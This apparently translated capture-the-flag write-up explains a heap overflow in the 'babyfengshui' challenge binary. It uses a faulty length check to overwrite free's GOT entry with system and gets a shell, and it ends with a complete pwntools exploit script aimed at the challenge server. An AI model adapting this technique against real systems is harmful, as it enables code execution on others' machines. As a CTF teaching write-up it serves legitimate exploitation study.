These are the four main functions:
add function:
the input part of the add function:
at the same time, this is also the update function, in fact, this function has overflow loopholes, it has a problem with the length check, which will be used later A little
delete function:
display function:
first create a few chunks at will, look at the layout,
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"cccc")
Take the first one as an example. The chunk that stores text comes first, followed by the chunk that stores name, which stores the pointers of name and chunk0. Let's take a look at the program's check on the input length:
for chunk0, it is whether 0x80c008+input length is greater than 0x804c08c. However, there is a problem that chunk0 and chunk0(name) are not necessarily adjacent to each other, so there is a possibility of overflow
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
After this step, the newly applied chunk3 will be in front of chunk1 and chunk2, and chunk3(name) will be behind chunk1 and chunk2, so that long data can be input
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
Change the chunk1 pointer stored at chunk1(name) to the address of free_got
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
Output the address of the free function and calculate the address of the system function
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()
Modify the address of the free function to the address of the system function. Since chunk2 stores "/bin/sh", executing free(chunk2) at this time is equivalent to executing system("/bin/sh")
complete exp:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
sh=remote("node3.buuoj.cn",25902)
elf=ELF('./babyfengshui_33c3_2016')
puts_got=elf.got['puts']
free_got=elf.got['free']
def add(size,name,length,text):
sh.recvuntil("Action: ")
sh.sendline("0")
sh.sendlineafter("size of description: ",str(size))
sh.sendlineafter("name: ",name)
sh.recvuntil("text length:")
sh.sendline(str(length))
sh.recvuntil("text:")
sh.sendline(text)
def delete(index):
sh.recvuntil("Action: ")
sh.sendline("1")
sh.recvuntil("index: ")
sh.sendline(str(index))
def show(index):
sh.recvuntil("Action: ")
sh.sendline("2")
sh.recvuntil("index: ")
sh.sendline(str(index))
def update(index,length,text):
sh.recvuntil("Action: ")
sh.sendline("3")
sh.recvuntil("index: ")
sh.sendline(str(index))
sh.recvuntil("text length: ")
sh.sendline(str(length))
sh.recvuntil("text: ")
sh.sendline(text)
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
sh.recvuntil("description: ")
free_addr=u32(sh.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()